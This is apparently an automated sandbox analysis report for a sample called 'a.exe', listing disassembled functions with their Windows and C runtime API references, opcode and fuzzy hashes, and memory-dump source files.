Associated: 00000000.00000002.659149191.0000000000280000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.659185876.00000000002B6000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c52332eb5f62d92da488fef0a1681552a807e1524f1c177c6e5d7433c34863c
Instruction ID: 6e0662c0e91695198ec1a1575b6ce213668159cb1d2e8d42ed844b3ef77620e9
Opcode Fuzzy Hash: 0c52332eb5f62d92da488fef0a1681552a807e1524f1c177c6e5d7433c34863c
Instruction Fuzzy Hash: E521B373F208344BB70CC57E8C5237876E1834C605745863AEDA6DA6C5E968DA27E2A4

Uniqueness

Uniqueness Score: -1.00%

Function 002A3B87, Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.659153975.0000000000282000.00000002.00020000.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.659149191.0000000000280000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.659185876.00000000002B6000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b42bbac87ff87cdf7ee386ae3658bf8c98c8971b3855446eb46e09f9bc607cdf
Instruction ID: 89f6eeb85c4cc9da242f070ea9e138ab5eeacbc6c8522404c90d629273ef9071
Opcode Fuzzy Hash: b42bbac87ff87cdf7ee386ae3658bf8c98c8971b3855446eb46e09f9bc607cdf
Instruction Fuzzy Hash: BE119423F30C255B734C81B98C133B965D3E7D828470F433ADD26E6684E954DA23D290

Uniqueness

Uniqueness Score: -1.00%

Function 002A5EB0, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.659153975.0000000000282000.00000002.00020000.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.659149191.0000000000280000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.659185876.00000000002B6000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 32c4aca8765c013ef5b53e93c4b6764e46093b3531becb9568897d61cfdfc8af
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 741138B72218A24BD6168E2DDA746BF2355EAD7320B5C4224C642C7E48FE32E9F4D900

Uniqueness

Uniqueness Score: -1.00%

Function 0029E16C, Relevance: 19.6, APIs: 13, Instructions: 113COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0029E1A5
___free_lconv_mon.LIBCMT ref: 0029E1B0

Part of subcall function 0029DD49: _free.LIBCMT ref: 0029DD66
Part of subcall function 0029DD49: _free.LIBCMT ref: 0029DD78
Part of subcall function 0029DD49: _free.LIBCMT ref: 0029DD8A
Part of subcall function 0029DD49: _free.LIBCMT ref: 0029DD9C
Part of subcall function 0029DD49: _free.LIBCMT ref: 0029DDAE
Part of subcall function 0029DD49: _free.LIBCMT ref: 0029DDC0
Part of subcall function 0029DD49: _free.LIBCMT ref: 0029DDD2
Part of subcall function 0029DD49: _free.LIBCMT ref: 0029DDE4
Part of subcall function 0029DD49: _free.LIBCMT ref: 0029DDF6
Part of subcall function 0029DD49: _free.LIBCMT ref: 0029DE08
Part of subcall function 0029DD49: _free.LIBCMT ref: 0029DE1A
Part of subcall function 0029DD49: _free.LIBCMT ref: 0029DE2C
Part of subcall function 0029DD49: _free.LIBCMT ref: 0029DE3E

_free.LIBCMT ref: 0029E1C7
_free.LIBCMT ref: 0029E1DC
_free.LIBCMT ref: 0029E1E7
_free.LIBCMT ref: 0029E209
_free.LIBCMT ref: 0029E21C
_free.LIBCMT ref: 0029E22A
_free.LIBCMT ref: 0029E235
_free.LIBCMT ref: 0029E26D
_free.LIBCMT ref: 0029E274
_free.LIBCMT ref: 0029E291
_free.LIBCMT ref: 0029E2A9

Memory Dump Source

Source File: 00000000.00000002.659153975.0000000000282000.00000002.00020000.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.659149191.0000000000280000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.659185876.00000000002B6000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$___free_lconv_mon
String ID:
API String ID: 3658870901-0
Opcode ID: 6e6829f945fb38eee2558471d67fcd828d25534c293ea5dfe52bf9b8956759b2
Instruction ID: 1d5e1059e9db2b9da4dfae2701c309ab1350f32836dcf2398968d29528106bbd
Opcode Fuzzy Hash: 6e6829f945fb38eee2558471d67fcd828d25534c293ea5dfe52bf9b8956759b2
Instruction Fuzzy Hash: D9315C33A282429BEF25EF75E945B6D33A5E740310F05A025BF9997241EF78EDA0DB10

Uniqueness

Uniqueness Score: -1.00%

Function 0029841A, Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00298430
_free.LIBCMT ref: 0029843C
_free.LIBCMT ref: 00298447
_free.LIBCMT ref: 00298452
_free.LIBCMT ref: 0029845D
_free.LIBCMT ref: 00298468
_free.LIBCMT ref: 00298473
_free.LIBCMT ref: 0029847E
_free.LIBCMT ref: 00298489
_free.LIBCMT ref: 00298497

Memory Dump Source

Source File: 00000000.00000002.659153975.0000000000282000.00000002.00020000.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.659149191.0000000000280000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.659185876.00000000002B6000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 1fcfb7d0ffea5263bcad58445cfe15267b6c93876006fca3dd3a00027fdf9090
Instruction ID: 14479853496c3a212b2d8ed4f104c4650b984ab1cdb0f3edb775efbafa882813
Opcode Fuzzy Hash: 1fcfb7d0ffea5263bcad58445cfe15267b6c93876006fca3dd3a00027fdf9090
Instruction Fuzzy Hash: D921ED7BA28140AFD744EFB4C8419DC3BB0F748748B049166FB1897A09EB30DA54DF80

Uniqueness

Uniqueness Score: -1.00%

Function 00292080, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 168COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 002920B7
___except_validate_context_record.LIBVCRUNTIME ref: 002920BF
_ValidateLocalCookies.LIBCMT ref: 00292148
_ValidateLocalCookies.LIBCMT ref: 002921C8

Strings

csm, xrefs: 0029215D
csm, xrefs: 002921F1
h@A, xrefs: 002921E5

Memory Dump Source

Source File: 00000000.00000002.659153975.0000000000282000.00000002.00020000.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.659149191.0000000000280000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.659185876.00000000002B6000.00000002.00020000.sdmp Download File

Similarity

API ID: CookiesLocalValidate$___except_validate_context_record
String ID: csm$csm$h@A
API String ID: 2101322661-2734375912
Opcode ID: 84bdc55b714527e5fdc60b4ffe54262539e59ca7ce365fd71d42ebc4de200af4
Instruction ID: bd7277ff3b1baedb5b3813a620691e18b5a5e60dac1116519bfe3c2ace5522e2
Opcode Fuzzy Hash: 84bdc55b714527e5fdc60b4ffe54262539e59ca7ce365fd71d42ebc4de200af4
Instruction Fuzzy Hash: C451983AA20241EFEF149F68D840BAC3BA1E754B18F148115EF056779ADB34DE6ACB50

Uniqueness

Uniqueness Score: -1.00%

Function 0029DEE8, Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 0029DEB0: _free.LIBCMT ref: 0029DED5

_free.LIBCMT ref: 0029DF36
_free.LIBCMT ref: 0029DF41
_free.LIBCMT ref: 0029DF4C
_free.LIBCMT ref: 0029DFA0
_free.LIBCMT ref: 0029DFAB
_free.LIBCMT ref: 0029DFB6
_free.LIBCMT ref: 0029DFC1

Memory Dump Source

Source File: 00000000.00000002.659153975.0000000000282000.00000002.00020000.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.659149191.0000000000280000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.659185876.00000000002B6000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 17f53bcb001aa0cf27f4b28cdacd85efe4fe4569033449001c41b86b803b0e8a
Instruction ID: 4a81278d8ba158fdd8f56335b86d8237bfa8c2fa510fcdb3a1e92265a1da1784
Opcode Fuzzy Hash: 17f53bcb001aa0cf27f4b28cdacd85efe4fe4569033449001c41b86b803b0e8a
Instruction Fuzzy Hash: 8F115173978244A7DD28FBB2ED47FCE7359D702700F441021B7DA2A182EA38F924AA40

Uniqueness

Uniqueness Score: -1.00%

Function 0029D584, Relevance: 9.2, APIs: 6, Instructions: 204COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0029D5AE
_free.LIBCMT ref: 0029D687
_free.LIBCMT ref: 0029D6B4

Memory Dump Source

Source File: 00000000.00000002.659153975.0000000000282000.00000002.00020000.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.659149191.0000000000280000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.659185876.00000000002B6000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 299b500e22aee3ac91b010ec35eb2d8642ae7366138ac33758658dbc95661552
Instruction ID: 851dda3395e9b2e56f34a86d751205be89a8e1ed074ce8debf7db0e3cd7ecdf7
Opcode Fuzzy Hash: 299b500e22aee3ac91b010ec35eb2d8642ae7366138ac33758658dbc95661552
Instruction Fuzzy Hash: DB61E473A28241AFEF11AFB4DC41BAC3BB4E705758F048265EF5497686EB718961EB00

Uniqueness

Uniqueness Score: -1.00%

Function 0029BE8A, Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 293COMMON

Download Yara Rule

Strings

, xrefs: 0029C112

Memory Dump Source

Source File: 00000000.00000002.659153975.0000000000282000.00000002.00020000.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.659149191.0000000000280000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.659185876.00000000002B6000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 401e94447128540a108f649382e091907315235e1b9facf13ac36de02e159a72
Instruction ID: 7d59ffcf60b0a7f9dd2dcdca1818c9cf310820bbe8b12be65b33ab422e220f95
Opcode Fuzzy Hash: 401e94447128540a108f649382e091907315235e1b9facf13ac36de02e159a72
Instruction Fuzzy Hash: DBC1BFB2B242419FEB15DFB8DC80BAC3BB1B748718F248114EF0597B8AD7749962CB15

Uniqueness

Uniqueness Score: -1.00%

Function 0029DE47, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0029DE5F
_free.LIBCMT ref: 0029DE71
_free.LIBCMT ref: 0029DE83
_free.LIBCMT ref: 0029DE95
_free.LIBCMT ref: 0029DEA7

Memory Dump Source

Source File: 00000000.00000002.659153975.0000000000282000.00000002.00020000.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.659149191.0000000000280000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.659185876.00000000002B6000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 5d0a5859f4b37fc9e185064ffee58ad4f855eb3b6b6ae4a5b76935e3f7635b51
Instruction ID: 9069fd756cd032ccf0d8faa6b371c35ede9ce72ee30e2355acfe9f5c165b6ea4
Opcode Fuzzy Hash: 5d0a5859f4b37fc9e185064ffee58ad4f855eb3b6b6ae4a5b76935e3f7635b51
Instruction Fuzzy Hash: 66F0FF739381126BEA25EF51FDC5F2A7362A711711F581410FACC9B601C739FCE1AA40

Uniqueness

Uniqueness Score: -1.00%

Function 0029F238, Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 272COMMON

Download Yara Rule

APIs

__dosmaperr.LIBCMT ref: 0029F353
__dosmaperr.LIBCMT ref: 0029F372
__dosmaperr.LIBCMT ref: 0029F518

Strings

H, xrefs: 0029F49D

Memory Dump Source

Source File: 00000000.00000002.659153975.0000000000282000.00000002.00020000.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.659149191.0000000000280000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.659185876.00000000002B6000.00000002.00020000.sdmp Download File

Similarity

API ID: __dosmaperr
String ID: H
API String ID: 2332233096-2852464175
Opcode ID: 7b29262b32dc82f416ec04a4e2ce346f5ec378c28730e20a5315283c697878fc
Instruction ID: 8bc3147a2275098870675d52f292376f2eba7374b26c8175f262f52de76a9a77
Opcode Fuzzy Hash: 7b29262b32dc82f416ec04a4e2ce346f5ec378c28730e20a5315283c697878fc
Instruction Fuzzy Hash: 97A15433A245808FEF58DF38DC11BBC3BA0E349728F184228EE159B794DB389966C741

Uniqueness

Uniqueness Score: -1.00%

Function 0029C513, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 200COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0029C6AD

Strings

*?, xrefs: 0029C556

Memory Dump Source

Source File: 00000000.00000002.659153975.0000000000282000.00000002.00020000.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.659149191.0000000000280000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.659185876.00000000002B6000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 945c9b06d4a588eafc62a8e469eba3607330fa205256fe077b1cf505299b0ecb
Instruction ID: 30cdd99b9246beb961c2f7c9ac033e1beb54a64e9814492476fb40e65c434bf6
Opcode Fuzzy Hash: 945c9b06d4a588eafc62a8e469eba3607330fa205256fe077b1cf505299b0ecb
Instruction Fuzzy Hash: 6F6162B7F202119FEB10CFB8C8415AC7BB5E7487187298169EF14E7B08D730AE508B40

Uniqueness

Uniqueness Score: -1.00%

Function 0029AE4A, Relevance: 6.3, APIs: 4, Instructions: 314COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0029AED1

Memory Dump Source

Source File: 00000000.00000002.659153975.0000000000282000.00000002.00020000.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.659149191.0000000000280000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.659185876.00000000002B6000.00000002.00020000.sdmp Download File

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 447b405dc1308a7494c17cef692ee183c5ef68cd76993912d86d227f7ac66a84
Instruction ID: 1de75665c60d625404dcb943980bbcfd8b6ffde12675cbee5817654c5f45908c
Opcode Fuzzy Hash: 447b405dc1308a7494c17cef692ee183c5ef68cd76993912d86d227f7ac66a84
Instruction Fuzzy Hash: E4B15573A242919FEB22CF38D9517BE3BA1E355308F188025EF6497B49E7398D61CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00292484, Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 002924A0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 002924B9

Memory Dump Source

Source File: 00000000.00000002.659153975.0000000000282000.00000002.00020000.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.659149191.0000000000280000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.659185876.00000000002B6000.00000002.00020000.sdmp Download File

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: 6c03938069e6b7b23674db80bc579b142826eceee62ccf849c52df2d9d81859c
Instruction ID: 35c8d395495c95c17c581d3855b26823971f32cb894d63a9b0411b21c9ca96d0
Opcode Fuzzy Hash: 6c03938069e6b7b23674db80bc579b142826eceee62ccf849c52df2d9d81859c
Instruction Fuzzy Hash: 50019E3622C612FAFE226B68AC91B7636816B10779F105330BD1855091FE224CA99150

Uniqueness

Uniqueness Score: -1.00%

Function 00296E7C, Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00296E85
_free.LIBCMT ref: 00296E98
_free.LIBCMT ref: 00296EA9
_free.LIBCMT ref: 00296EBA

Memory Dump Source

Source File: 00000000.00000002.659153975.0000000000282000.00000002.00020000.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.659149191.0000000000280000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.659185876.00000000002B6000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 8819f9331d67d4a56e5fd11763de535f0137ff881198b71dfd3ed83d3ea7af30
Instruction ID: 2af608f768fec106007094c74e404705945ac6009fae010378ed8d6a36e1d5d2
Opcode Fuzzy Hash: 8819f9331d67d4a56e5fd11763de535f0137ff881198b71dfd3ed83d3ea7af30
Instruction Fuzzy Hash: E9E01AB842C9209EFA243F10AD42F6A3A23F704700F152017F4C813222EE3A0932AA90

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: a.exe PID: 6736 Parent PID: 3220 a.exeCOMMON

Executed Functions

Function 01001DA0, Relevance: 27.2, APIs: 18, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 01001DCA
GetProcessHeap.KERNEL32(00000008,?), ref: 01001DDF
HeapAlloc.KERNEL32(00000000), ref: 01001DE2
GetUserNameW.ADVAPI32(00000000,?), ref: 01001DF0
LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 01001E13
GetProcessHeap.KERNEL32(00000008,?), ref: 01001E1E
HeapAlloc.KERNEL32(00000000), ref: 01001E21
GetProcessHeap.KERNEL32(00000008,?), ref: 01001E31
HeapAlloc.KERNEL32(00000000), ref: 01001E34
LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 01001E5E
ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 01001E71
GetProcessHeap.KERNEL32(00000000,?), ref: 01001F02
HeapFree.KERNEL32(00000000), ref: 01001F0B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 01001F10
HeapFree.KERNEL32(00000000), ref: 01001F13
GetProcessHeap.KERNEL32(00000000,00000000), ref: 01001F1A
HeapFree.KERNEL32(00000000), ref: 01001F1D
LocalFree.KERNEL32(00000000), ref: 01001F22

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Process$FreeName$Alloc$AccountLookupUser$ConvertLocalString
String ID:
API String ID: 3326663573-0
Opcode ID: d78cb6941e5fcc2853da3ada52570d3438d5f3db0422a183be397e4bdfab2cbc
Instruction ID: 3815f8135f94417db970f777ecf09e094ae7871d2eef93ce6d754f7c04141aa9
Opcode Fuzzy Hash: d78cb6941e5fcc2853da3ada52570d3438d5f3db0422a183be397e4bdfab2cbc
Instruction Fuzzy Hash: 8C517375D00249ABEB21DFA5DC84FAFBBBCEF44340F140569E945A3280DB759E05CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 010121C1, Relevance: 4.5, APIs: 3, Instructions: 20COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,010121C0,?,?,?,?,?,01013272), ref: 010121E3
TerminateProcess.KERNEL32(00000000,?,010121C0,?,?,?,?,?,01013272), ref: 010121EA
ExitProcess.KERNEL32 ref: 010121FC

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: c9c718d1fbbade09bc37e98eccee60df39d4def2849dfe6126fcd2e85c932710
Instruction ID: 8643ac166031e9622b9147f2e8b25b42f2f060baa9477d2ff57094ae85050dc5
Opcode Fuzzy Hash: c9c718d1fbbade09bc37e98eccee60df39d4def2849dfe6126fcd2e85c932710
Instruction Fuzzy Hash: 31E0EC35001148AFCF326F5CDD08A8A3F6AFF65241B304414F9958A229DB3EE981DB80

Uniqueness

Uniqueness Score: -1.00%

Function 01010567, Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00010573,0101006C), ref: 0101056C

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: bae6a47d98cfe562c4c6067707d251b0ebfade4d22e6a6d2e2b311b940ac8433
Instruction ID: 8ca3bc9a73047669d82d4551ecdef1e74f8321d569e73c67c276803ac51fc4f1
Opcode Fuzzy Hash: bae6a47d98cfe562c4c6067707d251b0ebfade4d22e6a6d2e2b311b940ac8433
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0101A84A, Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 301COMMON

Download Yara Rule

Strings

, xrefs: 0101AAD2

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 53cc753de716bc65b21c6767d2a52f38c0b6dbea50cc1a9c7c663a614a16896f
Instruction ID: e2078e836bc8ce88105e0f808130ae172bd2318e37048a7e171ccf96f8846dbb
Opcode Fuzzy Hash: 53cc753de716bc65b21c6767d2a52f38c0b6dbea50cc1a9c7c663a614a16896f
Instruction Fuzzy Hash: 12C1B170B05289DFDB15DF9CC880BADBBF6BF49310F044499E685AB28AD77D9941CB20

Uniqueness

Uniqueness Score: -1.00%

Function 0101DBF8, Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMON

Download Yara Rule

APIs

Part of subcall function 0101D8B1: CreateFileW.KERNELBASE(00000000,00000000,?,0101DCA1,?,?,00000000,?,0101DCA1,00000000,0000000C), ref: 0101D8CE

GetLastError.KERNEL32 ref: 0101DD0C
__dosmaperr.LIBCMT ref: 0101DD13
GetFileType.KERNELBASE(00000000), ref: 0101DD1F
GetLastError.KERNEL32 ref: 0101DD29
__dosmaperr.LIBCMT ref: 0101DD32
CloseHandle.KERNEL32(00000000), ref: 0101DD52
CloseHandle.KERNEL32(0101649E), ref: 0101DE9F
GetLastError.KERNEL32 ref: 0101DED1
__dosmaperr.LIBCMT ref: 0101DED8

Strings

H, xrefs: 0101DE5D

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: f168cdb51d4def09bf6e6f3bf7bb1d0e8bfcb310f41e957ad11e7429fbf494fe
Instruction ID: 7c66cb74068caf741908668a1778395cbb0c3bfe563ac9a77ed05092176a2a40
Opcode Fuzzy Hash: f168cdb51d4def09bf6e6f3bf7bb1d0e8bfcb310f41e957ad11e7429fbf494fe
Instruction Fuzzy Hash: A5A13832A001499FDF29AFACD8957ED3BF1AB0A320F140199E891AF3D9D73D9906C751

Uniqueness

Uniqueness Score: -1.00%

Function 01004F35, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 293COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 01004F3E

Strings

, xrefs: 01005F72

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-2740779761
Opcode ID: 89db1c3c1e48e5f19dc7c053c8efa2b9b92bbfad3337d30bbd5af27bc50d66bc
Instruction ID: bc20181237e192a8c3ce398377db1841244bf05b778703e1152b57f111e6403c
Opcode Fuzzy Hash: 89db1c3c1e48e5f19dc7c053c8efa2b9b92bbfad3337d30bbd5af27bc50d66bc
Instruction Fuzzy Hash: E88168316001055BFB1EEB78CC89BEEBA66AF96310F14861CF584DB2D5D739D9808B91

Uniqueness

Uniqueness Score: -1.00%

Function 01007BB0, Relevance: 4.7, APIs: 3, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: PathTemp
String ID:
API String ID: 2920410445-0
Opcode ID: 4e5615210e66e35e57b11d44c5414194b8f00540caf0a5179f18ede0c7f2e4d4
Instruction ID: 6f4051db089d8e22342b8cb8b802e87522edc8aa440b679094e5e018d1e3f53a
Opcode Fuzzy Hash: 4e5615210e66e35e57b11d44c5414194b8f00540caf0a5179f18ede0c7f2e4d4
Instruction Fuzzy Hash: 9A71F330E002098BFF15EBA8CC84BEEBBB5AF55304F644558D5847B2C2D775A989CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 01018CC2, Relevance: 4.7, APIs: 3, Instructions: 177fileCOMMON

Download Yara Rule

APIs

Part of subcall function 01018457: GetConsoleCP.KERNEL32(?,01003D80,00000000), ref: 0101849F

WriteFile.KERNELBASE(?,00000000,0102E0A8,?,00000000,?,01003D80,01003D80,01003D80,?,?,?,010124C5,?,0102E0A8,00000010), ref: 01018E13
GetLastError.KERNEL32(?,01003D80,01003D80,01003D80,?,?,?,010124C5,?,0102E0A8,00000010,01003D80), ref: 01018E1D
__dosmaperr.LIBCMT ref: 01018E62

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleErrorFileLastWrite__dosmaperr
String ID:
API String ID: 251514795-0
Opcode ID: 564f14e88b8c051e814247a4e01380e40b3daf4f523d42ffe449b390229360a8
Instruction ID: 8d95a52e63f3f8d034074211176f0bed772d559e807a866bf9a7ece2bbc44e3a
Opcode Fuzzy Hash: 564f14e88b8c051e814247a4e01380e40b3daf4f523d42ffe449b390229360a8
Instruction Fuzzy Hash: D351C571E0020AAFEB11EFA8C844BEEBBF9FF19314F444452E680AB159D77D9A41C761

Uniqueness

Uniqueness Score: -1.00%

Function 0101BEBF, Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0101BEC8
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0101BF36

Part of subcall function 0101BDDB: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,010211E0,?,00000000,00000000), ref: 0101BE7D

Part of subcall function 01016AEA: RtlAllocateHeap.NTDLL(00000000,?,?,?,0101B9A2,00000220,?,?,?,?,?,?,01013272,?), ref: 01016B1C

_free.LIBCMT ref: 0101BF27

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: EnvironmentStrings$AllocateByteCharFreeHeapMultiWide_free
String ID:
